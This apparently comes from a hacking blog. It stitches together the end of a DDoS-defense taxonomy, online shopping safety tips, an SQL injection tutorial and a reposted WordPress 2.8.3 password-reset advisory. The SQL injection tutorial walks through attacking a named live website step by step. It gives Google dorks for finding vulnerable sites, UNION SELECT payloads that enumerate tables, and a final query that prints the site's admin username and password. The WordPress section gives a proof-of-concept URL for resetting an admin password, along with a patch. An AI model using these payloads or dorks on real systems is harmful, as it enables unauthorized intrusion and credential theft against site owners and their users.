Mechanisms that deploy third-party detection do not handle the detection process themselves, but rely on an external message that signals the occurrence of the attack and provides attack characterization. Examples of mechanisms that use third-party detection are easily found among trace back mechanisms The goal of the attack response is to relieve the impact of the attack on the victim, while imposing minimal collateral damage to legitimate clients of the victim. I classify reactive mechanisms based on the response strategy into mechanisms that deploy agent identification, rate-limiting, filtering and reconfiguration approaches.
Agent Identification Mechanisms
Agent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack. This information can then be combined with other response approaches to alleviate the impact of the attack. Agent identification examples include numerous trace back techniques and approaches that eliminate spoofing thus enabling use of the source address field for agent identification.
Rate-Limiting Mechanisms
Rate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism. Examples of rate limiting mechanisms are found in Rate limiting is a lenient response technique that is usually deployed when the detection mechanism has a high level of false positives or cannot precisely characterize the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.
Filtering Mechanisms
Filtering mechanisms use the characterization provided by a detection mechanism to filter out the attack stream completely. Examples include dynamically deployed firewalls , and also a commercial system Traffic Master . Unless detection strategy is very reliable, filtering mechanisms run the risk of accidentally denying service to legitimate traffic. Worse, clever attackers might leverage them as denial-of service tools.
Reconfiguration Mechanisms
Reconfiguration mechanisms change the topology of the victim or the intermediate network to either add more resources to the victim or to isolate the attack machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS defense mechanisms can perform detection and response either alone or in cooperation with other entities in the Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.
Autonomous Mechanisms
Autonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.
Cooperative Mechanisms
Cooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence of a DDoS attack by observing congestion in a router’s buffer, characterize the traffic that creates the congestion, and act locally to impose a rate limit on that traffic. However, they achieve significantly better performance if the rate limit requests can be propagated to upstream routers who otherwise may be unaware of the attack.
Interdependent Mechanisms
Interdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide examples of interdependent mechanisms. A traceback mechanism deployed on a single router would provide almost no benefit.
Classification by Deployment Location
With regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.
Victim-Network Mechanisms
DDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.
Intermediate-Network Mechanisms
DDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims of DDoS attacks can contact the infrastructure and request the service, possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.
Source-Network Mechanisms
The goal of DDoS defense mechanisms deployed at the source network is to prevent customers using this network from generating DDoS attacks. Such mechanisms are necessary and desirable, but motivation for their deployment is low since it is unclear who would pay the expenses associated with this service. Mechanisms proposed in provide examples of source-network mechanisms.

REFRENCE
http://www.cert.org/tech_tips/denial_of_service.html
http://www.cert.org/archive/pdf/DoS_trends.pdf
http://www.cert.org/incident_notes/IN-2001-08.html
http://www.cert.org/incident_notes/IN-2001-03.html
http://www.cert.org/incident_notes/IN-2001-01.html
http://www.cs.berkeley.edu/~nweaver/warhol.html
http://www.cert.org/incident_notes/IN-2001-09.html
http://www.cert.org/advisories/CA-2001-26.html
http://www.cert.org/incident_notes/IN-2000-04.html
http://www.cert.org/advisories/CA-1998-01.html
http://www.cisco.com/warp/public/707/newsflash.html
J. D. Howard, “An analysis of security incidents on the Internet,”
F. Kargl, J. Maier and M. Weber, “Protecting web servers from distributed denial of service attacks,”
J. D. Howard and T. A. Longstaff, “A common language for computer security incidents”
http://www.cert.org/research/taxonomy_988667.pdf
S. Axelsson, “Intrusion detection systems: A survey and taxonomy, “
K. Hafner and J. Markoff, Cyberpunk: Outlaws and hackers on the computer frontier
http://www.tripwire.com/products/servers/
http://www.usenix.org/publications/login/2000-7/apropos.html.
M. Franklin and A. Stubblefield, “An algebraic approach to IP Traceback”,
http://search.ietf.org/internet-drafts/draft-ietf-itrace-01.txt, Oct.
RFC 2267,
J. Leiwo, P. Nikander, and T. Aura, “Towards network denial of service resistant protocols
Wikipedia and
Also Credits-some articles by my hackers friends for writing different parts (WAR10RD, DIGITAL, ICEBEAR 64 ETC) ,Jelena , Martin and Peter

12 Security Tips for Shopping Online

The internet is an exciting place to shop. From the comfort of your own armchair you can browse for literally anything, from a new camera, to a holiday or flight. You are not restricted to the stores in your local town, or even country and you can pick up deals at great prices on a whole range of products.

Shopping online isn’t just as safe as handing over your credit card in a store or restaurant. However, if you take care of few things it can be a safe deal. Following are the things you should take care of:

1. Never respond to an email request for credit card details. All reputable companies will conduct transactions with you over a secure website connection.
2. Remember to never respond to any email advertisement, and only visit sites you know or have book marked, and verify the address before browsing further.
3. Only buy from trusted brands and websites.
4. To ensure that you only do business with legitimate companies check to see if they have a contact number, an actual retail store and a printed catalogue to browse.
5. Check a website’s returns and privacy policy before going ahead with a purchase.
6. Check that you are entering your details through a secure payment connection. You should notice when you click through to the transaction page of a company’s website that the URL in the address bar begins https:// (instead of the normal http://). This is the standard encrypted communication mechanism on the internet and means that your credit card details are being sent securely.
7. Beware of deals that seem too good to be true.
8. Beware of the limitations of the internet. The internet may not the best place to buy clothes or other products you need to see, touch or try on.
9. All reputable websites use secure payment systems. These are either a company’s own system or a 3rd party system such as Worldpay or Paypal.
10. When conducting a transaction over the internet, look for the yellow padlock in the grey status bar at the bottom of your browser page. This is an indication that the transaction is being conducted over a secure connection.
11. As an extra precaution check to see if there’s a gold lock at the bottom of the right hand corner of the browser. If they don’t include any of these reliable indicators, you might want to think twice before handing over your credit card number.
12. To be on the safe side, and avoid Internet fraudsters, it’s also a good idea to install and use security software such as Kaspersky Internet Security. It can provide you with industry-leading security services that will provide you more protection against the latest threats.

Ultimate method for Website Hacking a.k.a SQL injection

Welcome to the tutorial for SQL Injection. SQL Injection basically means to execute a query in the database which is connected to the website to get personal information out of it, which is not visible to a normal user. Database is most likely to be a part of the websites, which saves all the information like user names, passwords, posts, replies in it. So there is a possibility that you might put some commands or queries or requests whatever you want to call it into the database to get some hidden information out of it.

It is noticed that in the past SQL Injection have been used several times to steal the credit card information, E-mail address and passwords, because most of the users have same E-mail address and passwords into all of their E-mail accounts. So if you manage to hack one of the accounts, you may just get access to all of their accounts. SQL Injection is most likely used by the “Penetration Testers” to check if the website of their clients are vulnerable to some kind of attacks to steal the information. Here, in this article I will show you how do they do it. There are some simple terms expected out of you and one of them is that you understand the basic knowledge of the computer. This tutorial will let you know, how to start? where to stop? what to do? and if you have any further queries you can post them here and i will help you to work with it.

. . . . . . . . . . . . . . . . . . . . . . . . . . .
PLEASE REMEMBER: RxN7 take no responsibility of whatsoever damaged is made by you by this knowledge. This is just for the educational purposes so you can secure your own website.

I will divide this tutorial into some points so it can help you in a better way to understand the structure of the SQL Database which is working at the backend of the website to store, save and execute the information.

I will use a LIVE website in this tutorial, so you can try to test it on your own and believe me it really helps to develop your skills.

The website that I will use today is www[dot]rfidupdate[dot]com.

To understand what is an SQL Database, the very simple thing i can explain to you is the “website where you can register, login or create your own profile. Because it will save the data you input into your profile and will execute / display them whenever you provide the correct username or the password. So in the same way the website i mentioned above will give you a chance to be a part of it, it will update you daily about respective news.

1. How to check if the website is vulnerable to SQL Injection?
A: On most of the website i read people saying that try to add “`” at the end [without quotes], and if you get some error that means that the website is vulnerable to SQL Injection. But being an experienced guy in the penetration, i’d rather tell you that this is a TOTAL MYTH. The best way to check the site vulnerability is to
add “+order+by+6753″ at the end of the URL. Because, 97% of the websites don’t have more then 6753. columns. So by adding 6753 number, you will check if it has 6753 columns, which it apperatenly doesn’t have. So it will give you an error, and if it does that means that the WEBSITE IS VULNERABLE. It is generally noticed that a website doesn’t have more than 100 columns at the most in its database. So by entering the number 6753, you are trying to make it sure if the website gives you an error with it. IF it does that means you can proceed further. To check an SQL Injection, its mandatory that the website should be pointing it self to some specific page, i.e. “website.com/index.php?page=11″. So in this case the website is pointing it self to page Number.11 to pull up some specific information. So, to check if the website is vulnerable or not, you can try with the following URL. i.e. “website.com/index.php?page=11+order+by+6753″.

2. How would i find the vulnerable websites?
A.: Google is the best friend of Hackers, when I say this don’t assume that i am just writing it because i am supposed it. I really mean it. There is something called as “google dorks”, which are basically a command which could be put into the Google search to find out specific groups of pages.
here are some Google dorks which you may try to find out the vulnerable websites.
a. inurl:index.php?page=
b. inurl:members.php?member=
c. inurl:index.php?id=
d. inurl:articles.php?page=

This will help you to find out the websites which are connected and working with SQL Databases at the backend. Some of them might be vulnerable to SQL Injection. So you can try to put “order+by+6753″ at the end of the URL to check if its vulnerable.

Step 1 : Finding Vulnerable Page.

Lets start, as you’ll know the website that i will test today is www.RfidUpdate.com. So lets open up the website in the browser. So just a little information about website, RFID means “radio frequency identification”. So on the right hand side you will see that it gives you an opportunity to subscribe to the website. So now it should give you an idea that when you subscribe to it, there has to be a place where your E-mail address should be saved, so it has to have a database! So, now we know that the website is supported by an SQL Database at the backend. So we are on the right track.

As I have written earlier, in order to perform an SQL Injection we will have to find a page that has “something.php?id=2121″ at the end of the URL, so we will try to find such page on RfidUpdate.com. I have found a page by exploring the website a bit. The URL of the page is,

http://www.rfidupdate.com/articles/index.php?id=1563

Image 1: SQL Injection (Click to enlarge )

So now, we know it has an SQL Database and we have the apge where we can start with.

So lets try to check if the website is vulnerable to SQL Attack, we will try to add “+order+by+6753–” as i have written earlier.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+6753–

Now, you should have noticed an error, which says :
“Error 1054: Unknown column ‘6753′ in ‘order clause’”

So, It means that the database gave u a message saying “there is no such column”. So error doesn’t really make any difference, but the main thing we should notice is that the database communicated with us directly. So there is a possibility that we can exploit it.

Step 2 : Finding Number of Columns.

Now, the next thing we will try is to find the out many columns do this page have. So now, instead of “6753″, we will start from number 1 then 5 then 15, we will keep doing this unless we get some error. So, try the following url.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+1–

The webpage opened up fine, which means that the website has more then 1 column, now try number 5.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+5–

Same thing, now try 10.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+10–

Still no error, try 15.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+15–

Still no error :( , try 20.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+20--

WHOA!, We got the error, which means that the number of columns in the webpage is between 15 to 20. So lets try with number “16″ now.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+16–

YAY!, you got the error on number “16″ as well. Which means, that the website has 15 columns. So now lets move further.

Step 3 : Using “Union Select All” Command.

Now, we will try to combine all the columns and we will see what do we get, the command goes as follow:-

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–

Image 2: SQL Injection (Click to enlarge )

FYI:- please notice tha ti have added “-” before 1563.

Now you see some broken things in there, and now you see that the only indipendent number of column you see on the website is “7″. So apperantly that would be the base of the attack. Everything we do now, would be done with the column number “7″.

So we wil ltry to find the some more information about the DATABASE this website is using, so to do this we can replace the column number 7 with “@@version“, without quotes ofcourse. So try this now.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15–


This is what you should see now,
“5.0.67-community”

Which means, that the website is using SQL Version > 5. Now, try following URL to move further.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15+from%20information_schema.tables%20where%20table_Schema=database%20()–

Here, we have replaced No.7 column with “group_concat(table_name)” and we have added “from information_schema.tables where table_Schema=database ()” at the end. Which are basically the standard commands for SQL, to get the further information from the specific column.

YAY! You should have already noticed that the name of the further columns have appeared in the list and one of them is “ru_Admin”. Thats what we are looking for. Since we have the column for admin now, we will try to find out the username and password out of it. So let try following URL into the address bar.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15+from%20information_schema.columns%20where%20table_Schema=database%20()–

The only thing we’ve changed here is the “tables” to “columns”, and you should see all the information about the admin’s tables now which should look something like following.

“ru_Admin_Username,ru_Admin_Password”

So we see, we might be able to crack the username as well as the password. In order to see the information inside the username and the password column lets put following URL:
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(ru_Admin_username,0×3a,ru_Admin_password),8,9,10,11,12,13,14,15+from%20ru_Admin–

What we did is, to replace the columns names with admin_username & admin_password, and call it from ru_Admin column at the end.


VOILA! What you’re looking at right now the “admin” username and the password in following format.

username : password.

admin:admRIvuxHahkQ

FYI: Wherever you see “%20″ in the URL, that means a SPACE in the address bar.

So you have the password now, you can use it the way you want!.

So this the way to perform an SQL Injection attack. You may try your own stuffs with the google dorks i posted in the beginning. Use it the way you want, just keep in mind that if u know 80/100, there are people out there who know 90/100. So better secure your self first, and try these attacks with the permission of the site owners.

Thank you all for reading this tutorial, I am sure it helped. If there are any more questions feel free to revert back to the same post.

Enjoy Ethical hacking ;)

Wordpress 2.8.3 bug = Remote Admin Reset Password Vulnerability

WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

DESCRIPTION

The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.
 

PROOF OF CONCEPT

A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation. 

RxN7 in action:

how to patch:

1. by upgrading the version of wordpress ... go here http://wordpress.org/download/

2. changing the php code in wp-login.php

before:

case 'resetpass' :
case 'rp' :
 $errors = reset_password($_GET['key']);
 
 if ( ! is_wp_error($errors) ) {
  wp_redirect('wp-login.php?checkemail=newpass');
  exit();
 }
 
 wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
 exit();
 
break;

after: 

case 'resetpass' :
case 'rp' :
 if (is_array($_GET['key'])) {
  die("Hacking detected.");
  exit();
 }
 $errors = reset_password($_GET['key']);
 
 if ( ! is_wp_error($errors) ) {
  wp_redirect('wp-login.php?checkemail=newpass');
  exit();
 }
 
 wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
 exit();
 
break;

=================================================================

- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié